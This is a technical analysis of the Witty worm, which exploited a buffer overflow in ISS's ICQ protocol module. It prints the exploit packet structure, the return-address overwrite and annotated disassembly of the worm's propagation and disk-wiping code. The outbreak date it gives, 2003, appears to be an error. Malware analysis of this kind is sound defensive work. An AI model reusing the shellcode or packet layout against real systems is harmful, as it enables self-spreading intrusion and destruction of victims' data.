

# ISS PAM/ICQ 'Witty' Worm Analysis

By Matthew Murphy ([mattmurphy@kc.rr.com](mailto:mattmurphy@kc.rr.com))

*Although the 'Witty' worm was not particularly widespread, it gained major attention simply for its choice of targets. The worm was unique, because rather than evading perimeter defenses and striking at flaws within corporate networks, this worm took a **much** different approach. The worm was among the first to strike at the security installations themselves. Exploiting a vulnerability in Internet Security Systems Protocol Analysis Module technology, the worm took advantage of gaps within the very software charged with our protection. As application complexity grows, we must scrutinize every layer of security we insert, as well as weaken. For every point of inspection is now a point of entry for unscrupulous internet intruders. This analysis seeks to provide technical details about the worm, and the lessons it has taught security experts.*

## Background

Shortly before noon GMT on Saturday, March 20, 2003, SANS' Internet Storm Center, Internet Security Systems, Symantec, and several other organizations released information regarding a significant increase in attack traffic targeted at UDP port 4000. It was later determined that this attack traffic was due to a self-propagating worm, now commonly referred to as 'Witty'. The worm is targeting a remotely-exploitable buffer overflow in the Protocol Analysis Module (PAM) of Internet Security Systems' Intrusion Detection software that handles filtering of ICQ messages.

## Brief Description

The Witty worm spreads via a buffer overflow vulnerability in the Protocol Analysis Module (PAM) of several Internet Security Systems products. The PAM code that is responsible for performing information gathering on ICQ's instant messaging protocol suffers from a stack-based buffer overflow due to an insecure `sprintf` call.

The vulnerability itself is known to affect numerous ISS products, but those affected by the Witty worm are as follows:

- BlackICE Agent for Server 3.6 ebz, ecb, ecd, ece, ecf
- BlackICE PC Protection 3.6 cbz, ccb, ccd, ccf
- BlackICE Server Protection 3.6 cbz, ccb, ccd, ccf
- RealSecure Network 7.0, XPU 22.4 and 22.10
- RealSecure Desktop 7.0 ebf, ebj, ebk, ebl
- RealSecure Desktop 3.6 ebz, ecb, ecd, ece, ecf

- RealSecure Guard 3.6 ebz, ecb, ecd, ece, ecf
- RealSecure Sentry 3.6 ebz, ecb, ecd, ece, ecf

ISS products lack state information on UDP packets due to the stateless nature of the protocol, so any packet originating from UDP port 4000 is treated as an ICQ server response. When a SRV\_META\_USER response is received, the IDS does not limit the size of the payload within. If certain preconditions have been satisfied before the packet is received, its data will be copied into a stack-based structure by the IDS. This buffer is of limited size, and statically allocated. The result is a simple stack-based buffer overflow.

Before SRV\_META\_USER processing can occur, a SRV\_USER\_ONLINE response must be received to indicate to the IDS that a certain user is online. Otherwise, the IDS will simply drop the following SRV\_META\_USER response. To accomplish this precondition, the worm uses a single packet. It is a SRV\_MULTI response that can be disassembled into two unique responses. The first is the pre-requisite SRV\_USER\_ONLINE response, while the second is a specially-crafted SRV\_META\_USER response designed to cause the buffer overflow.

Once the buffer overflow occurs, the worm binds a UDP socket to port 4000. It then sends packets to random IP addresses on the internet that are designed to trigger the buffer overflow when processed by vulnerable ISS perimeter defenses. After transmitting 20,000 packets, the worm opens a handle to one of the machine's physical drives, and writes 64K of data from `iss-pam1.dll` to random locations on the disk. The result of this action is to slowly corrupt the system's media while the virus continues to spread. This process will be repeated any time that the worm sends 20,000 packets. For instance, the worm will repeat the procedure after having sent 40,000 packets, 60,000 packets, and so on.

## Point of Entry

The worm spreads via a single UDP packet to port 4000. Packets aimed at this port are processed by the vulnerable PAM code. This packet is actually a malformed ICQ SRV\_MULTI server response. Theoretically, such packets would only be received in normal operations if the user had sent a corresponding ICQ client-to-server packet. However, the IDS does not perform state management, so it processes all packets as legitamite. The ICQ packet that the worm sends has the following form:

---

### Witty Worm ICQ Server-Response Packet Header

Bytes	Explanation
<b>ICQ Frame Header</b>	
05 00	ICQ Version 5.0
00	Unused
00 00 00 00	Session ID

12 02	Response Command SRV_MULTI: Multiple Responses
00 00 00 00	Sequence Number
00 00 00 00	Universal Identifier Number (UIN)
00 00 00 00	Check Code (similar to a checksum)
<b>SRV_MULTI Parameter Block 1 of 2</b>	
02	Number of individual responses
2C 00	Size of sub-response (44 bytes, little-endian)
<b>SRV_MULTI Sub-Response 1 of 2</b>	
05 00	ICQ version 5.0
00	Unused
00 00 00 00	Session ID
6E 00	Response Command SRV_USER_ONLINE: User became visible
00 00 00 00	Sequence Number
00 00 00 00	Universal Identifier Number (UIN)
00 00 00 00	Check Code (similar to a checksum)
<b>SRV_USER_ONLINE Response</b>	
00 00 00 00	UIN of user changing status
01 00 00 00	Other user's IP address (1.0.0.0)
00 00 00 00	Other user's direct-connect port (default)
00 00 00 00	Other user's private IP address (not set)
00	Unused
00 00 00 00	Other user's new status (unknown)
00 00	Unused padding for alignment
<b>SRV_MULTI Parameter Block 2 of 2</b>	
41 02	Size of sub-response (577 bytes)
<b>SRV_MULTI Sub-Response 2 of 2</b>	
05 00	ICQ version 5.0
00	Unused
00 00 00 00	Session ID
DE 03	Response Command: SRV_META_USER
00 00 00 00	Sequence Number
00 00 00 00	Universal Identifier Number (UIN)
00 00 00 00	Check code (similar to a checksum)
<b>Invalid SRV_META_USER Response</b>	

## [Virus Payload]

The SRV\_META\_USER sub-response (part 2 of the SRV\_MULTI answer), is overly-long, resulting in a stack-based buffer overflow in `iss-pam1.dll`. The IDS fails to check the length of the SRV\_META\_USER response before filling a data structure with its values. This results in an easily exploited memory corruption situation. The virus is configured such that several bytes between the packet header and the virus' body are used to 'pad' the buffer. These bytes follow:

```

006b                                     00 00 00 00 00
A.....
0070    00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 00
00      .....
0080    01 00 00 1e 02 20 20 20 20 20 20 20 28 5e 2e
5e      .....(^.^
0090    29 20 20 20 20 20 20 69 6e 73 65 72 74 20 77 69      ).....
insert.wi
00a0    74 74 79 20 6d 65 73 73 61 67 65 20 68 65 72 65      tty.
message.here
00b0    2e 20 20 20 20 20 20 28 5e 2e 5e 29 20 20 20 20      .....
(^.^)....
00c0    20 20 20      ...

```

After reviewing this section, one string within the virus becomes fairly obvious as the reason for its name:

```
(^.)      insert witty message here.      (^.)
```

The four bytes following this string overwrite the saved return address in the procedure's stack frame. This replaces this address with `0x147F8BE7` -- a direct jump into the code of the worm.

```
00c4    e7 8b 7f 14
```

## Execution

When the worm arrives, the EDI register conveniently contains a reference to an address that is eight bytes prior to the worm. The worm corrects this reference to point to its own code, for later use in its propagation routine.

```
83C7 08                                ADD EDI, 8
```

The worm then sets up a stack frame for later storage of data.

```
81C4 E8FDFFFF          ADD ESP, -218H
```

With stack frame setup complete, preparation begins to spread the infection. The worm acquires a handle to the `ws2_32.dll` library via an import of the `LoadLibraryA` function in the `iss-pam1.dll` module. Thankfully, this has the effect of limiting the worm to spreading to products with that specific version of the DLL.

During this process, the worm uses a hack to avoid NULL bytes. It zeroes the ECX register with an XOR instruction, and then fills the low-order word (CX) with the final bytes of the string. It then pushes the register's value to the stack, along with other constants that make up the final string. When this is complete, the ESP register points to the beginning of the string. For readers' information, the `LoadLibraryA` function is declared with the following prototype:

```
HINSTANCE LoadLibraryA(LPCSTR lpLibFileName);
```

```
31C9          XOR ECX, ECX
66:B9 3332    MOV CX, 3233H          ; "32"
51           PUSH ECX
68 7773325F   PUSH 5F327377H        ; "ws2_"
54           PUSH ESP
3E:FF15 9C400D5E CALL DWORD PTR [5E0D409C] ; iss-pam1.dll:__imp_LoadLibraryA
89C3          MOV EBX, EAX
```

With the DLL instance handle stored in the EBX register the worm uses a similar trick to locate the address of the `socket` function via an imported `GetProcAddress` call, also found in `iss-pam1.dll`.

```
31C9          XOR ECX, ECX
66:B9 6574    MOV CX, 7465H          ; "et"
51           PUSH ECX
68 736F636B   PUSH 6B636F73H        ; "sock"
54           PUSH ESP
53           PUSH EBX
3E:FF15 98400D5E CALL DWORD PTR [5E0D4098H] ; iss-pam1.dll:__imp_GetProcAddress
```

The worm then creates a User Datagram Protocol (UDP) socket descriptor, and stores a handle to it in the ESI register. This is done by calling the `socket` function whose address was returned earlier:

```
SOCKET socket(int af, int type, int proto);
```

```

6A 11          PUSH 11H
6A 02          PUSH 2
6A 02          PUSH 2
FFD0          CALL EAX
89C6          MOV ESI, EAX

```

The worm then locates the `bind` function using the handle to `ws2_32.dll` returned earlier.

```

31C9          XOR ECX, ECX
51           PUSH ECX
68 62696E64   PUSH 646E6962H           ; "bind"
54           PUSH ESP
53           PUSH EBX
3E:FF15 98400D5E CALL DWORD PTR [5E0D4098H] ; iss-pam1.
dll:__imp_GetProcAddress

```

Several instructions are used to create a `sockaddr_in` structure on the stack:

```

struct in_addr {
    union {
        struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
        struct { u_short s_w1,s_w2; } S_un_w;
        u_long S_addr;
    } S_un;
#define s_addr S_un.S_addr
/* can be used for most tcp & ip code
*/
#define s_host S_un.S_un_b.s_b2
/* host on imp */
#define s_net S_un.S_un_b.s_b1
/* network */
#define s_imp S_un.S_un_w.s_w2
/* imp */
#define s_impno S_un.S_un_b.s_b4
/* imp # */
#define s_lh S_un.S_un_b.s_b3
/* logical host */
};

struct sockaddr_in {
    short sin_family;
    u_short sin_port;
    struct in_addr sin_addr;

```

```

        char    sin_zero[8];
};

```

The structure is defined to bind to all interfaces (0.0.0.0 IP address), on port 4000 (0x0FA0). The worm then makes its call to the `bind` function:

```
int bind(SOCKET s, const struct sockaddr *name, int namelen);
```

The reason for an explicit bind is due to the fact that the IDS on a vulnerable host will only trigger the ICQ PAM if the packet is coming from the port of an ICQ server (UDP port 4000).

```

31C9                XOR ECX, ECX
51                  PUSH ECX
51                  PUSH ECX
51                  PUSH ECX
81E9 FFFFFFF05F    SUB ECX, 5FF0FFFEH      ;
ECX=A00F0002
51                  PUSH ECX
89E1                MOV ECX, ESP
6A 10              PUSH 10H
51                  PUSH ECX
56                  PUSH ESI
FFD0                CALL EAX

```

The worm locates the `sendto` function in `ws2_32.dll` using the same handle as previous calls.

```

31C9                XOR ECX, ECX
66:B9 746F          MOV CX, 6F74H          ; "to"
51                  PUSH ECX
68 73656E64        PUSH 646E6573H        ; "send"
54                  PUSH ESP
53                  PUSH EBX
3E:FF15 98400D5E    CALL DWORD PTR [5E0D4098H]

```

With most of its code-location tasks finished, the worm 'leaks' the handle it opened to `ws2_32.dll` by replacing the value in the EBX register with a handle to the `sendto` function. It then removes some of the data it previously saved to the stack.

```

89C3                MOV EBX, EAX
83C4 3C             ADD ESP, 3CH

```

The worm then loads the `kernel32.dll` library via the `LoadLibraryA` pointer in `iss-pam1`.

dll.

RESUME\_SPREADING:

```

31C9          XOR ECX, ECX
51           PUSH ECX
68 656C3332   PUSH 32336C65H           ; "el32"
68 6B65726E   PUSH 6E72656BH         ; "kern"
54           PUSH ESP
3E:FF15 9C400D5E CALL DWORD PTR [5E0D409CH]

```

The worm then locates and calls the `GetTickCount` function in `kernel32.dll`, using the newly-returned handle. This handle is then overwritten by the function's address when the `GetProcAddress` function is called, resulting in a descriptor leak.

```

31C9          XOR ECX, ECX
51           PUSH ECX
68 6F756E74   PUSH 746E756FH
68 69636B43   PUSH 436B6369H
68 47657454   PUSH 54746547H
54           PUSH ESP
50           PUSH EAX
3E:FF15 98400D5E CALL DWORD PTR [5E0D4098H]
FFD0          CALL EAX

```

The worm then saves this count (which equates to the number of 10ms 'ticks' of the system timer since boot), to the `EBP` register, and removes the most recently saved string data from the stack. This second instruction seems inefficient -- the author could have removed both sets of data at the same time to save space.

```

89C5          MOV EBP, EAX
83C4 1C       ADD ESP, 1CH

```

The worm's replication routine begins here. The worm is considerably more complex than other UDP worms (i.e., *Slammer*) in its random number generation, because it generates *three* random numbers for each packet. Included in each packet is a random destination port and IP address. Also, to get around the size flagging of previous worms like *Slammer*, the worm pads its packets with a certain amount of data that is simply leaked from the stack of the compromised IDS. Amazingly, this adaption does not seem to be impacting the worm's ability to regenerate. It seems that the ISS products handle the extraneous data without preventing the exploitation of the vulnerability.

A flaw (or perhaps a design shortcoming) in the code causes all packets sent to a given address to be the same size. It is entirely possible that this was deliberate, as the size variation is significant enough to

require substantial mathematical computation if an IDS seeks to fingerprint the possible packet sizes of the worm. Also, the general strategy of the random IP generation seems ineffective when compared to recent worms.

## SPREAD\_AGAIN:

```

31C9          XOR ECX, ECX          ; ECX=0
81E9 E0B1FFFF SUB ECX, FFFFB1E0H        ; ECX=0x4E20
FAIL_SAFE:
51           PUSH ECX
31C0          XOR EAX, EAX          ; EAX=0
2D 03BCFCFF  SUB EAX, FFFCBC03H        ; EAX=0x343FD
F7E5          MUL EBP              ; EAX=EAX*EBP
2D 3D61D9FF  SUB EAX, FFD9613DH        ; EAX+=0x269EC3
89C1          MOV ECX, EAX          ; ECX=EAX
31C0          XOR EAX, EAX          ; EAX=0
2D 03BCFCFF  SUB EAX, FFFCBC03H        ; EAX=0x343FD
F7E1          MUL ECX              ; EAX=EAX*ECX
2D 3D61D9FF  SUB EAX, FFD9613DH        ; EAX+=0x269EC3
89C5          MOV EBP, EAX          ; EBP=EAX
31D2          XOR EDX, EDX          ; EDX=0
52           PUSH EDX              ; to.sin_zero[4...7]
52           PUSH EDX              ; to.sin_zero[0...3]
C1E9 10      SHR ECX, 10H          ; ECX=ECX>>16
66:89C8      MOV AX, CX              ; AX=CX (LOWORD(EAX)
=LOWORD(ECX))
50           PUSH EAX              ; to.sin_addr.S_Un.S_Addr
31C0          XOR EAX, EAX          ; EAX=0
2D 03BCFCFF  SUB EAX, FFFCBC03H        ; EAX=0x343FD
F7E5          MUL EBP              ; EAX=EAX*EBP
2D 3D61D9FF  SUB EAX, FFD9613DH        ; EAX+=0x269EC3
89C5          MOV EBP, EAX          ; EBP=EAX
30E4          XOR AH, AH              ; AH=0 (HIBYTE(LOWORD
(EAX))==0)
B0 02        MOV AL, 2              ; AL=2 (LOBYTE(LOWORD
(EAX))==2)
50           PUSH EAX              ; to.sin_family,to.
sin_port
89E0          MOV EAX, ESP          ; EAX=ESP
6A 10        PUSH 10H              ; sendto:tolen
50           PUSH EAX              ; sendto:to
31C0          XOR EAX, EAX          ;
50           PUSH EAX              ; sendto:flags
2D 03BCFCFF  SUB EAX, FFFCBC03H        ; EAX=0x343FD

```

```

F7E5          MUL EBP          ; EAX=EAX*EBP
2D 3D61D9FF  SUB EAX, FFD9613DH ; EAX+=0x269EC3
89C5          MOV EBP, EAX       ; EBP=EAX
C1E8 17      SHR EAX, 17H      ; EAX=EAX>>23
80C4 03      ADD AH, 3         ; EAX+=0x300
50           PUSH EAX          ; sendto:len
57           PUSH EDI         ; sendto:buf
56           PUSH ESI         ; sendto:s
FFD3        CALL EBX          ; ws2_32.sendto

```

The worm then removes the `sockaddr_in` structure from the stack, and removes the counter it previously saved, before executing a `LOOP` instruction.

```

83C4 10      ADD ESP, 10H
59           POP ECX
E2 98       LOOP SPREAD_AGAIN

```

If the loop has ended, the most destructive portion of the worm's code is executed. The worm generates another pseudo-random number, and uses bit arithmetic to limit it between 1 and 7. It then builds a string on the stack that resembles this:

```
\\.\PHYSICALDRIVEx
```

Where 'x' is the number of the chosen drive to damage, in ASCII format.

```

31C0          XOR EAX, EAX
2D 03BCFCFF  SUB EAX, FFFCBC03H
F7E5          MUL EBP
2D 3D61D9FF  SUB EAX, FFD9613DH
89C5          MOV EBP, EAX
C1E8 10      SHR EAX, 10H
80E4 07      AND AH, 7
80CC 30      OR AH, 30H
B0 45        MOV AL, 45H
50           PUSH EAX
68 44524956  PUSH 56495244H
68 4943414C  PUSH 4C414349H
68 50485953  PUSH 53594850H
68 5C5C2E5C  PUSH 5C2E5C5CH

```

The worm then opens this device for raw write access via an import of the `CreateFileA` API in `iss-pam1.dll`.

```

89E0          MOV EAX, ESP
31C9          XOR ECX, ECX
51           PUSH ECX
B2 20         MOV DL, 20H
C1E2 18       SHL EDX, 18H
52           PUSH EDX
6A 03         PUSH 3
51           PUSH ECX
6A 03         PUSH 3
D1E2          SHL EDX, 1
52           PUSH EDX
50           PUSH EAX
3E:FF15 DC400D5E CALL DWORD PTR [5E0D40DCH] ; iss-pam1.dll:
__imp_CreateFileA
83C4 14       ADD ESP, 14H

```

The worm saves this device handle for a later call to the WriteFile API.

```

31C9          XOR ECX, ECX
81E9 E0B1FFFF SUB ECX, FFFFB1E0H
3D FFFFFFFF   CMP EAX, -1
0F84 37FFFFFF JE FAIL_SAFE
56           PUSH ESI
89C6          MOV ESI, EAX

```

The worm sets the file pointer to a random value into the disk device by using an import of the SetFilePointer API.

```

31C0          XOR EAX, EAX
50           PUSH EAX
50           PUSH EAX
2D 03BCFCFF   SUB EAX, FFFCBC03H
F7E5          MUL EBP
2D 3D61D9FF   SUB EAX, FFD9613DH
89C5          MOV EBP, EAX
D1E8          SHR EAX, 1
66:89C8       MOV AX, CX
50           PUSH EAX
56           PUSH ESI
3E:FF15 C4400D5E CALL DWORD PTR [5E0D40C4H] ; iss-pam1.dll:
__imp_SetFilePointer

```

The worm then writes data to the disk that originates from inside the `iss-pam1.dll` library. This will eventually cause significant file system corruption on the target host, and is by far the most destructive aspect of this worm. The worm carefully selects source buffer addresses. This appears to have been done as a survival mechanism. Had the worm not pre-selected the location of the data, access violations may have been generated.

```

31C9          XOR ECX, ECX
51           PUSH ECX
89E2          MOV EDX, ESP
51           PUSH ECX
52           PUSH EDX
B5 80         MOV CH, 80H
D1E1          SHL ECX, 1
51           PUSH ECX
B1 5E         MOV CL, 5EH
C1E1 18       SHL ECX, 18H
51           PUSH ECX
56           PUSH ESI
3E:FF15 94400D5E CALL DWORD PTR [5E0D4094H] ; iss-pam1.dll:
__imp_WriteFileA

```

The worm then closes the handle to the device. This is one of the few efficiently managed uses of resources throughout the code. Perhaps this is a matter of the worm's survival: leaking device handles would eventually cause the system to fail completely. The handle closure is done via an import in `iss-pam1.dll`.

```

56           PUSH ESI
3E:FF15 38400D5E CALL DWORD PTR [5E0D4038H]

```

The worm executes some final cleanup code to remove stray stack data before returning back to the main propagation loop. An interesting part of this is that the worm reloads `kernel32.dll` after each trigger of the destructive portion of its code. This worsens the descriptor leak that this creates.

```

5E           POP ESI
5E           POP ESI
E9 ACFEFFFF  JMP RESUME_SPREADING

```

## Conclusion

As network complexity increases, every layer of functionality, including defenses, must be made secure. The Witty worm demonstrates that excessive complexity in any level of the network, including intrusion prevention, is a significant risk. Many were compromised by Witty's ICQ payload that had no ICQ

services to be secured. This incident stresses two critical principles of security. The first being that maintenance will become far more critical as the window of time between vulnerability information disclosure and exploitation continues to shrink, even disappearing in some cases. The second being that excessive services, even in intrusion detection, never add to security, and typically degrade it.

## Revision History

- Version 1.0: Document Created; Initial publication

## Acknowledgements

- Thanks to Internet Security Systems X-Force Research Team for providing detailed information regarding products affected by the Witty worm. This information is quoted from ISS X-Force Alert #167, which is available in full at <http://xforce.iss.net/xforce/alerts/id/167>. The contents of this alert are copyrighted by Internet Security Systems X-Force Research Team.
- The SANS Internet Storm Center published a packet capture that was referenced extensively by this analysis. It is available currently via the SANS diary, at <http://isc.sans.org/diary.html>.
- Included function prototypes are copied from the Microsoft Windows Platform SDK, and are protected by Microsoft copyright. These are reproduced for research purposes only. Portions of referenced code are copyrighted by the Regents of the University of California at Berkeley, and may be redistributed under the terms of the Berkeley Software License Agreement.

---

## Copyright & Legal Information

This document is Copyright © 2004 [Matthew Murphy](#).

Affected product information is quoted from Internet Security Systems X-Force Alert #167, Copyrighted by Internet Security Systems, Inc. The analysis conducted in this document is based upon data collected by the SANS Institute's Internet Storm Center. The SANS Internet Diary is copyrighted by the SANS Institute. Included function prototypes are reproduced from the Microsoft Windows Platform SDK. The content of the SDK is copyrighted by Microsoft Corporation, with portions derived from software copyrighted by the Regents of the University of California at Berkeley. Republication and redistribution in whole or in part are permitted in accordance with copyrights of third-party contributors cited above, provided this copyright information is included. This document contains information believed to be accurate based on research at time of publication, but the author provides *NO WARRANTY* of technical accuracy. Also, the author disclaims liability for any and all damages incurred by your use of this document, including but not limited to any damages sustained due to technical or factual errors or otherwise incorrect statements.

[Techie.HopTo.Org](http://techie.hopto.org)

